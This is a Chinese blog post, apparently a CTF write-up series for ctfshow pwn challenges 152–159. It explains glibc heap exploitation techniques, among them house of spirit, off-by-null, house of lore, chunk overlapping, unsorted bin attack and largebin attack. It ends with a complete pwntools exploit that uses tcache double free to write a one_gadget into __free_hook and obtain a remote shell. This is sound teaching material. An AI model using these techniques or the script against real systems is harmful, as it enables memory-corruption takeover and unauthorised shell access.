house of spirit也是fastbin attack中的一种,很多人会把它跟劫持fastbin中chunck的fd然后改写特定区域的值搞混。house of spirit是在一个特定的位置构造一个fake chunck,然后对他进行free,让他进入fastbin中,之后再malloc出来这个chunck,就可以对这个区域的内容进行一些操作

本题先申请一个chunck,为了让程序申请一大块区域来构成堆块,不然是不能先free的。

由于demo的fake chunck是在栈上的,有几种可以调试具体位置的方法:
1.关闭地址随机化
2.gdb.attach断点下在demo
3.在改变了部分fake chunck中的值后去stack定位
4.gdb中重定向输出内容
前三种可以自行尝试,为了演示的完整我使用了第四种方法
在gdb中:
1.下断点到demo,即b demo
2.其他地方或桌面创建接受输出的output.txt文件
3.输入run > output.txt 2>&1
之后在gdb调试过程中,output.txt文件就会随着程序的输出持续更新,我们也能直接获得fake chunck的位置
在这里插入图片描述

看到右边output.txt文件红色标注的内容,就是fakechunck【1】的地址,也就是size的部分,我们需要查看一个完整的chunck,就要从header开始,所以左边从0x7fffffffde00开始再看了一遍结构

从现在,进入了house of spirit的重点,即,什么样的fake chunck满足检查,可以被free掉

1.fake chunck的size在fastbin范围内(0x20~0x80),所以0x40满足
2.fake chunck的size对齐,一般都是要求16字节对齐,所以只要16进制下最后一位是0即可
3.fake chunck地址对齐,跟第二条一样
4.fake chunk 的 next chunk 的size不能小于 2 * SIZE_SZ(即64位0x8,32位0x4),同时也不能大于av->system_mem,即黑线标出的0x1234也满足
5.释放到的fastbin中的链表头没有指向fake chunck,就是我们之前fastbin double free中需要绕过的那个检查
6.fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。如何看ISMMAP呢,把fake chunck的size转成2进制,最后一位是P,倒数第二位是M,倒数第三位是A

这些要求其实很好满足,当然如果是我们手动构造一个fake chunck的话,如果我们需要利用程序中残留的一些数据来构造fake chunck的话就比较极限了

在这里插入图片描述
可看到之后的free成功,fake chunck进入了fastbin,fd也由于fastbin的机制被改为了0
在这里插入图片描述
现在fake chunck被申请走了,我们可以对他进行操作
在这里插入图片描述
现在我们也是通过对堆块的操作改变了栈上的值,大胆点,如果我们构造的fake chunck可以直接改到return位置的值,那不就也可以劫持程序执行流了吗。当然这就是更高阶的house of spirit的应用了。

pwn 152

输入sh提权
一道off-by-null,漏洞类似于off-by-one,不过off-by-one溢出的那一个字节是我们可以控制的,而off-by-null只能溢出\x00

这个demo有两个机制:
1.之前讲过的free一个chunck的时候,会检查,物理上位于上方的和下方的chunck是否也被释放了,如果是的话,就要合并
2.在我们从unsorted bin中切割出一个堆块的时候,需要检查当前chunck的size和next chunck的prev size是否相等,不相等则认为被攻击了,要报错

进入demo
在这里插入图片描述
从上到下,依次为chunck1,chunck2,chunck3,chunck4
chunck1用于off-by-null漏洞,覆盖chunck2
chunck2用于结合fake prev size攻击
chunck2和chunck3先后释放,然后合并块达成攻击效果
chunck4用于隔绝top chunck的合并(demo中出现两个chunck c,应该是打错了,第二个chunck c是chunck barrier用于隔绝)
在这里插入图片描述
现在已经完成了初步的伪造,off-by-null漏洞覆盖chunck2的第一个字节为\x00,所以chunck2的size从0x211变成了0x200
接下来我们要对这个unsorted bin进行切割,所以下方还需要一个fake prev size
至于为什么利用的是fake prev size而不是true prev size。因为chunck在寻找next chunck的时候,是根据自身的地址和size去找的,size被改小了0x10,所以找到的位置也变小了0x10,现在找到的就是fake prev siz的位置了。
并且两个值都是0x200,可以绕过我们之前说到的size和prev size的相等检查
在这里插入图片描述
可以看到,在这个unsorted bin中申请chunck使他切割后,红线标出的0x200变成了0xf0,说明我们的fake size和fake prev size构造的很成功
在这里插入图片描述
可以看到,再申请一个chunck后,填入了一堆0x42,f0变成了60
在这里插入图片描述
现在释放了chunck2和chunck3,由于他们在物理上相邻,所以被合并成一个chunck。此时我们之前的伪造就起作用了
那个真正的prev size并没有因为unsorted bin的切割而被改变,当我们free chunck3时,向上寻找chunck2的时候,是根据chunck3_addr-chunck3_prev size,所以中间分割的那些chunck根本不会影响合并
在这里插入图片描述
把合并的0x321的chunck申请回来,进行数据注入,就可以改变中途分割的那几个chunck的值了

pwn 153

输入sh提权
house of lore的demo
house of lore是利用smallbin的机制,在改变smallbin的bk和fake chunck的fd后,把fake chunck插入smallbin的一种攻击

首先介绍是如何完成攻击的:
在申请chunck轮到smallbin的时候:
1.根据申请的chunck size寻找对应的链表
2.判断链表是否为空
3.如果不为空,且已经被初始化了,就让(链表头的bk指向的chunck)最后一个chunck为victim,然后让(victim的bk指向的chunck)理论上的倒数第二个chunck被记录为back chunck
4.让链表头的bk指向倒数第二个chunck,倒数第二个chunck的fd指向链表头
(如果我们改变了victim的bk,那不就能让别的chunck入smallbin了吗)
5.检查,倒数第二个chunck的fd指向的chunck是不是victim
(所以我们伪造的fake chunck的fd还得指向victim)
6.victim被申请走,fake chunck绕过检查入smallbin链表
7.再申请一次同样大小的chunck,就会把fake chunck申请走,进行操作

总结:
想让fake chunck被当作堆块申请走,需要两个条件:
1.smallbin中某条链表的最后一个chunck的bk指向fake chunck
2.fake chunck的fd指向smallbin这条链表的最后一个chunck

同样的跟上一题一样,由于fake chunck在栈上,我这里还是使用了重定向的方法。

进入demo
在这里插入图片描述
申请了两个chunck,上一个我们称为victim,下面一个是用来隔绝top chunck的
可以看到我们的完整的初始化过程,右图看到栈地址信息,去查找
三种颜色:

红色:fake chunck1的fd指向victim
后续victim的bk也指向fake chunck1的时候就可以绕过一次smallbin检查

绿色:fake chunck1的bk指向fake chunck2
蓝色:fake chunck2的fd指向fake chunck1
这一对也同理,可以绕过一次smallbin检查
在这里插入图片描述
由于house of lore的攻击在smallbin中,所以我们需要申请一个大size的chunck,让这个fastbin的chunck进入smallbin

现在也是成功进入了smallbin
根据我们之前分析的,想要让fake chunck进入smallbin,需要从smallbin中申请走我们的victim
在这里插入图片描述
现在我们也把victim的bk改成了fake chunck1的地址
在这里插入图片描述
可以看到0x64的size在强制对齐后会变成0x70,就会申请到victim所在的smallbin链表
在这里插入图片描述
之前有讲到,根据smallbin中最后一个chunck的bk让fake chunck如链后,还会改变fake chunck的fd为链表头
红色标注出来的三个数字一样,说明两个fake chunck都有成功入链,至此house of lore攻击完成,已经可以对fake chunck所在的栈内容进行泄露和更改

pwn 154

输入sh提权
本题demo演示了堆块重叠导致的复用
在这里插入图片描述

从上到下,chunck1,chunck2,chunck3
chunck1用于模拟堆溢出覆盖chunck2的size(虽然本题实际上是直接改size,没有堆溢出,不过是模拟真实的环境,比如off-by-one)
chunck2用于free后被改写size,造成堆块重叠
chunck3用于隔绝top chunck
在这里插入图片描述
改写了chunck2的size后,由于chunck2去寻找chunck3的地址是根据自己的addr+size,而size被改变了,略过了chunck3也很正常。
这时候可能有疑问,为什么unsorted bin没有与top chunck合并,是因为free chunck与top chunck合并这个操作是在chunck被free后当时检查的,当时有chunck3隔绝,现在哪怕没有chunck3,但也不会有合并的检查,所以不会合并
在这里插入图片描述
现在chunck2被申请回去了,我们称它为chunck new
此时我们手上有chunck new和chunck3的的指针,可以对他们进行一些操作
最具有攻击意义的是,chunck new由于包含了chunck3,不光可以改chunck3的data,更可以改chunck3的header

在这里插入图片描述

在这里插入图片描述
分别是对chunck new和chunck3的更改,可以看到我们通过堆溢出攻击chunck2的size,完成了堆块重叠的复用

堆块重叠的核心,就是改变size,造成覆盖,复用

pwn 155

输入sh提权
本题demo也是堆块重叠的演示,演示的是堆块重叠的chunck合并,以及申请回去合并的chunck完成复用
在这里插入图片描述
从上到下chunck1~5
chunck1模拟堆溢出漏洞
chunck2用于被改size
chunck3用于被chunck2覆盖
chunck4用于做合并的另一个chunck
chunck5用于隔绝top chunck
在这里插入图片描述
现在chunck2的size被篡改,覆盖了chunck3
现在释放的chunck4,紧接着会释放chunck2

但是这个顺序不能反过来,之前讲过,释放chunck时对物理上相邻的chunck合并,是根据自身的地址和prev size(向上找)或者和size(向下找)
如果我们先释放chunck2,在chunck4释放的时候,chunck4中指向chunck3的inuse还是1,chunck4认为chunck3没被释放,所以不会合并chunck3,更不会合并新的包含了chunck3的chunck2
而我们先释放chunck4,再释放chunck2,chunck2就可以顺利的找到chunck4(因为chunck2的size改了),然后可以完成合并
在这里插入图片描述
现在chunck2~4完成了大合并
在这里插入图片描述
现在再申请原本chunck2_size+chunck3_size的chunck,就可以把chunck2和chunck3彻底合并当作一个chunck去处理,但我们依然还留有chunck3的指针

后续的chunck3的复用和改变跟上一题一样没有什么花头。

堆块重叠,造成覆盖的目的是:(chunck3只是举本题的例子)
1.在不free chunck3的指针的时候,free掉chunck3实际的内容,保留chunck3的指针,哪怕没有uaf漏洞,也可以通过堆块重叠制造
2.在只拥有data改写权限的时候,改写chunck3的header
当然还有别的利用方法,根据题目转变

pwn 156

输入sh提权
本题demo演示mmap申请的堆块的重叠
在这里插入图片描述
通过mmap申请的chunck是不在堆的部分里的
此外,他的三个标志位AMP中的M也为了表示由mmap中申请而来,变成了1,可以看到0x101002转化为2进制后倒数第二位就是M=1

有兴趣的可以去了解mmap的分配机制,他有一套不同的算法,可以看到按顺序申请的三个大小一样的chunck,他们并不是黏在一起的,而且地址是越来越小,所chunck3可以覆盖chunck2,这在之前小size的chunck中是不会出现的

这里可以看到第三个chunck和第二个chunck的距离差非常多根本不是后续改大的0x100000能够覆盖得到的,这个问题在gdb的时候会出现,所系后续free chunck3就会报错,本题这一步之后的内容就只能用文字来形容了
在这里插入图片描述
这是申请chunck4的示意图
首先我们要知道,mmap分配的chunck,是从起始地址向大地址处扩展的,并且分配也是先分配大地址。我们甚至可以把它当作普通heap的倒过来

接下来,由于改大了chunck3的size,所以free chunck3的时候,连带chunck2一起被释放了,所以从chunck2开始,往低地址都是空闲的

申请一个0x301000的chunck4,所以他的地址就是chunck2的地址-0x2ff000(至于为什么是0x301000和0x2ff000于mmap有关,可以略过,本demo重点是堆块的重叠)

那么现在我们利用堆块重叠,在free chunck3的时候free了chunck2,再通过申请,把chunck2~3一起申请回来,就跟之前常规的heap的堆块重叠一样

在这里插入图片描述
demo中最有歧义的是这个距离,这个距离8才是真正的实际距离,看ida中
distance = mmap_chunk_2 - overlapping_chunk;
printf(asc_4015C0, (unsigned int)distance);
这个distance指的是相差distance个他们元素类型的长度,而他们是int64即8字节,所以这个0x5fe00
8就是0x2ff000,解决这个歧义后应该就很好理解了

overlapping由于是chunck2和chunck3的合并,所以改变chunck2的值,也在同时改变他的值

pwn 157

输入sh提权
本题demo演示了unsorted bin attack改写某个位置的值为一个不可控大数

unsorted bin attack的原理:当我们移出unsorted bin中最后一个chucnk的时候(即链表头指向的chunck),此时会进行一波操作

(现在结构 链表头–bk–>chunck–bk–>other)

1.给链表头的bk赋值为chunck的bk
2.给链表头bk指向的chunck的fd变为链表头地址

所以当我们攻击时,fd=0,bk=target-0x10
第一步,链表头的bk指向target-0x10(0x10为headersize,目的是为了后续直接改data部分)
第二部,链表头bk指向的chunck的fd变为链表头地址,此时链表头bk指向的chunck已经是target-0x10了,改变他的fd为链表头地址,所以这个target位置就会是一个不可控大数了

在这里插入图片描述
chunck1用于unsorted bin attack
chunck2用于隔绝top chunck防止合并
在这里插入图片描述
可以看到unsorted bin的bk被改变了,接下来只要将这个chunck申请走,就可以改写目标地址的值
在这里插入图片描述
现在0x7fffffffde38作为header地址,fd在0x7fffffffde48,可以看到他的值变成了
unsorted bin之前fd指向的值,即链表头的地址

unsorted bin attack由于功能的局限性,一般用于辅助提权:
1.改大循环数据,增加循环次数
2.改大MAX_FAST_SIZE,使得chunck都进入fastbin,打fast bin attack

pwn 158

输入sh提权
本题demo演示largebin attack
涉及到的知识点有点多,先来拓展一下

1.被释放的chunck如何进入largebin attack,这涉及到malloc的工作原理
申请一个chunck时
(1) 如果size 在fastbin的范围内,在fast bins中寻找fast chunk,如找到则结束
(2)如果size 在smallbin的范围内,在small bins中寻找small chunk,如找到则结束
(3)如果size不在smallbin的范围内,合并所有fastbin的chunk(当然只能合并相邻的,并不是随便合并),置入unsortedbin
(4)循环

a. 检查unsorted bin中的last remainder

i. 如果满足一定条件,则分裂之,将剩余的chunk标记为新的last_remainder

b. 在unsorted bin 中搜索,同时进行整理

i. 如遇到精确大小,则返回,否则就把当前chunk根据大小整理到 small/large bin 中去

c. 在small bin和large bin中搜索最合适的chunk(不一定是精确大小)

(5) 使用 top chunk

总的来说,就是一个largebin范围的chunck叫victim,要先被释放进入unsorted bin,再申请一个chunck,要么有其余的chunck代替victim被切割,要么这个chunck的大小比这个victimk还大(或者不满足切割条件),此时victim就会被放入largebin

2.largebin chunck的内部结构
largebin chunck的内部跟普通的unsortedbin chunck的双向链表不同
他在fd和bk后方,还有fd_nextsize和bk_nextsize
fd和bk跟之前一样,分别指向前后的chunck
fd_nextsize和bk_nextsize,分别指向前后第一个大小不同的chunck

3.largebin入链机制与攻击
感兴趣的可以去看largebin的源码,此处做一个简单的介绍
(largebin中的chunck的放置是有大小顺序的)
插入victim
(1)如果largebin为空,就直接放入
(2)如果largebin中有chunck,即判断victim是不是比此时largebin中最小的chunck还要小,如果是,就把victim插在原本最小的chunck后面
(3)如果victim不满足(2),就开始从大到小开始遍历,找到小于等于victim的chunck后,如果找到的是size相等的chunck,那就让victim跟在这个chunck后面,如果找到的是size小于victim的chunck,那就让victim插在这个chunck前面
(4)更新fd,bk,fd_nextsize和bk_nextsize

2,3步中都有一个重点,如果victim不是3情况下找到了相同大小的chunck,也就意味着,victim是这个大小的堆头(简单理解就是,largebin中在victim进入前,没有这个size的),所以这类堆头,会被设置fd_nextsize和bk_nextsize

如何攻击:
插入的堆块叫做victim,比它小的是fd_nextsize指向的,比它大的是bk_nextsize指向的
victim->fd_nextsize = fwd;victim的fd为比他小的chunck
victim->bk_nextsize = fwd->bk_nextsize; victim的bk为之前比fwd大的那个chunck(但是我们可以攻击fwd的bk_nextsize,就等于控制了victim的bk_nextsize)
fwd->bk_nextsize = victim;更新fwd的bk_nextsize为victim
victim->bk_nextsize->fd_nextsize = victim;由于劫持了bk_nextsize为target区域的一个地址,此时控制好bk_nextsize关于target的值,就可以准确让某个位置被填入一个地址,就可以变成一个很大的数

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
bk的劫持也是一样的原理

只不过bk_nextsize的劫持是改变了fd_nextsize的位置,也就是要改变target的值,bk_nextsize就得是target-0x20。劫持bk是改变fd,bk的值应该是target-0x10

由于除去bk,bk_nextsize还有与fd,fd_nextsize相关的更新,在插入的攻击中,我们一般可以直接把这两个置零,可以绕过不必要的部分和检查

4.largebin出链机制(本题demo只涉及了入链的攻击)
需要取出的size为A
(1)先找largebin中的第一个chunck,即最大的chunck,如果这个chunck的size比A小,即说明largebin中不存在满足的
(2)如果经过(1)的判断,认定largebin中存在满足判断的,就开始从小到大遍历,直到找到第一个size大于等于A的chunck
(3)判断,该size的堆有几个chunck
(a)如果有多个,之前我们讲到,堆头会有fd_nextsize和bk_nextsize,为了方便,会保留堆头,让堆头后一个chunck被取出
(b)如果只有一个,那么就取出他
(4)更新fd,bk,fd_nextsize和bk_nextsize

出链的更新指针跟入链的原理差不多,不同点在于,出链用的是unlink,所以我们需要像之前unlink的伪造那样处理fd,bk

总的来说,其实学会了largebin的插入攻击就挺够用了,因为两个攻击都是改写目标地址的值

进入demo
在这里插入图片描述
先申请3个large chunck,后面都跟一个小chunck,防止chunck被释放后的合并
在这里插入图片描述
释放前两个chunck
在这里插入图片描述
根据之前讲的malloc分配原理。
申请一个超过fastbin范围的chunck
使得chunck1被切割,chunck2进入largebin
在这里插入图片描述
(忽略左边的各种显示问题,是因为非法篡改chunck2的各种数值,导致的next chunck找到的是错误的,引发的一系列问题,实际上现在chunck1~3都是被释放的)
根据输出的内容,知道我们的chunck2是0x603360,查看其中的内容
跟之前说的一样,fd和fd_nextsize置零,bk=target-0x10和bk_nextsize-0x20
在这里插入图片描述

在这里插入图片描述
可以看到本来是0的两个栈上位置现在已经被放入了堆地址,完成了largebin attack的攻击

largebin attack与unsortedbin attack有一些异同:
相同点:都可以改某个地址的值为一个大数
不同的是:
largebin在出入链都能攻击,unsorted bin只能出链时攻击。
largebin attack能同时改两个目标地址的值,unsortedbin attack只能改一个
largebin attack在2.31之后变了使用方法。unsortedbin attack在2.29后无法使用

pwn 159

2.27版本
在这里插入图片描述
libc的选择为图中的libc6_2.27-0ubuntu2_amd64
在这里插入图片描述
为了方便做题,我改写了部分函数的名字
会申请一个ptr指向的chunck,其中存储了之后申请的chunck的地址,虽然攻击不了,但是gdb中可以很清晰看到具体的存储顺序
之后是add,delete,show的三个常规交互
bye是输出byebye并exit
在这里插入图片描述
read_4函数就是读入四个字节
在这里插入图片描述
add函数,循环检查哪个指针位空着,填入对应chunck的地址(由于后续tcachebin的先释放后被申请机制,和unsortedbin同样size时先申请先被申请的机制,混容易搞混哪个i对应哪个chunck)
同时限制了i的大小,后续攻击会有一定影响
然后就是每个都是0xf8的chunck,我们输入的size只能影响输入的字节数,不能影响实际size
接下来看READ函数的输入
在这里插入图片描述
分析一下其实就是如果我们输入的size=0,就在chunck的data段开头加一个0
如果size!=0,就一个一个字节读入,读入到\x00的字节或者换行,或者长度读够了,就停止读入,在此时v3和v2的地址处放一个0
两个值得关注的点:
1.在v3=a2时退出读入,由于读入的范围是0~a2-1,所以存在off-by-null漏洞,但在他后面其实可以看到,无论如何a2位置都会被放入一个0,所以v3的off-by-null无所谓,我们可以直接利用v2的off-by-null
2.我们读入的内容要么有\x00或换行,要么长度足够,这个关键点后续show函数会有影响
在这里插入图片描述
来看show函数,利用puts输出,再回到上一个函数讲的,我们的输入内容要么有\x00或换行,要么长度足够。
如果你想泄露数据,你必须长度能够输出到该数据的位置,但如果你为了不覆盖目标数据,你就得输入\x00或换行来截断输入,但是如果你截断了输入,输出也会被截断,所以常规的unsortedbin切割泄露fd和bk不能应用了

在这里插入图片描述
delete函数
清空size的内容为0,置零ptr中存储该chunck的指针和cunck该chunck的size的指针,不存在uaf

梳理攻击条件:
1.能申请10个chunck,可以创造tcachebin,unsortedbin,可能还有smallbin
2.存在off-by-null漏洞,且size都是0x100,如果off-by-null攻击可以攻击prev_inuse造成堆块重叠

攻击思路:
1.由于这道题没有后门,所以一定是要泄露libc的
(这道题没给libc文件,很气,得自己去找,2.27版本下,我们泄露第一个unsortedbin的bk时,这个值是main_arena+0x60,虽然libc中不能sym的形式找main_arena,但是main_arena=malloc_hook+0x10,所以泄露出来的地址就是leak=malloc_hook-0x70,这样就可以找到对应的libc了,开头有给对应版本)
泄漏的话,由于这道题独特的输入和输出机制,只能选择通过堆块重叠泄露libc,因为只有堆块重叠能在不覆盖fd和bk的情况下泄露
2.打tcache的double free攻击free hook

exp中的tcache注释从左到右是左边的后被释放进入tcache会优先被申请

from pwn import * 
count=1
gdb_flag=0
if count==0:
    io=process('./p')
else:
    io=remote('pwn.challenge.ctf.show',28219)
if gdb_flag==1:
    gdb.attach(io)
def cmd(x):
    io.recvuntil(b'> ')
    io.sendline(str(x))
def add(size,data):
    cmd(1)
    io.recvuntil(b'size \n> ')
    io.sendline(str(size))
    io.recvuntil(b'content \n> ')
    io.sendline(data)
def delete(index):
    cmd(2)
    io.recvuntil(b'index \n> ')
    io.sendline(str(index))
def show(index):
    cmd(3)
    io.recvuntil(b'index \n> ')
    io.sendline(str(index))
libc=ELF('./libc.so.6')
for i in range(10):
    add(0x90,b'aaaa')
tcache=(0,1,2,3,4,5,9)
for i in range(7):
    delete(tcache[i])
#tcache=9->5->4->3->2->1->0
for i in range(6,9):
    delete(i)
#unsortedbin chunck
for i in range(10):
    add(0x90,b'bbbb')
for i in range(6):
    delete(i)
#tcache=1->2->3->4->5->9
delete(8)
delete(7)
#tcache=8->1->2->3->4->5->9
add(0xf8,b"aaaa")
#tcache=1->2->3->4->5->9
delete(6)
#tcache=0>1->2->3->4->5->9
delete(9)
for i in range(8):
    add(0xf0,b"aaaa")
show(0)
leak=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x70-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
gadget = [0x4f2c5,0x4f322,0x10a38c,0xf1147]
one=libc_base+gadget[1]
print(hex(libc_base))
add(0x90,b'aaaa')
delete(0)
delete(9)
#tcache double free
add(0x90,p64(free_hook))
add(0x90,b'aaaa')
tcache=(1,2,3,4,5,6,8)
for i in range(7):
    delete(tcache[i])
delete(7)
for i in range(7):
    add(0x90,b'aaaa')
add(0x90,p64(one))
delete(1)
io.interactive()

首先,了解几个操作:
1.unsortedbin合并时会检查fd和bk
2.如果释放一个chunck叫victim,他在next chunck留下的prev_size是不会在victim被重新申请回去时被清零的

所以,我们需要通过合并三个进入unsortedbin的chunck,在第三个chunck的prev_size处留下0x200,再把他们分别申请出来。最后释放第一和第三个chunck时,会完成合并,而第二个chunck我们还可以使用,我们之后就可以利用这个被free掉但是有指向他指针的chunck来完成libc泄露和double free攻击

在这里插入图片描述
先申请10个chunck,把0,1,2,3,4,5,9给释放进入tcache bin。因为unsortedbin会跟top chunck合并,而tcache类似于fastbin的机制不会跟top chunck合并,所以把最后一个chunck置入tcachebin,让6,7,8进入unsortedbin
在这里插入图片描述
之后把10个chunck都申请回来,可以看到chunck8的prev_size=0x200
在这里插入图片描述
delete(8)释放了chunck7,delete(7)释放了chunck6
之后打off-by-null,让chunck8的prev_inuse=0,后续就可以堆块重叠了
(exp中这一步前释放了六个chunck后面再释放应该也是一样的,除了chunck6的释放要放在chunck7打off-by-null之前,这个不知道为什么,放在后面会报错)
在这里插入图片描述
delete(6)释放chunck0进入tcachebin,delete(9)释放chunck8与之前释放的chunck6完成合并
但可以看到,我们的ptr中仍然有chunck7的指针
在这里插入图片描述
申请回来8个chunck,前7个是tcachebin中的,第8个是chunck6,完成切割后,chunck7中就有了fd和bk。再看ptr,显示第0个是chunck7,所以show(0)泄露main_arena+0x60=malloc_hook+0x70的地址,然后泄露libc的基地址
在这里插入图片描述
delete的0和9指向的都是chunck7,由于2.27的tcachebin检查double free甚至不如fastbin,所以都不用在中间间隔一个别的chunck,现在构成了double free
在这里插入图片描述
由于double free攻击需要申请同一个chunck两次,还要申请对应的hook为一个chunck,10个chunck不够用,所以要先释放掉一些
释放7个chunck进入tcachebin
delete(7)释放chunck9,chunck8和9合成unsortedbin后被top chunck合并,空出来了两个位子
在这里插入图片描述
现在再申请一次就能申请到free_hook所在位置作为chunck了
这里打什么hook都可以,甚至main函数中有exit,打exit_hook都可以
在这里插入图片描述
成功把one_gadget写入free_hook,之后再执行一次free就可以提权
在这里插入图片描述
最后成功get shell

总结:
1.本题由于tcachebin和unsortedbin不同的申请机制,所以很容易搞混哪个i对应哪个chunck,做题过程中可以多校对ptr中的对应关系
2.本题最大的特色就是off-by-null+0x100size对prev_size的攻击造成堆块重叠,需要一步步清楚的分析

完结

堆利用-前置基础篇更新完毕了,由于是边学边写的,有很多地方可能还有不足和欠缺,如果有师傅觉得有错误或者疑问都可以评论区指出

之后会再写堆利用的部分

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值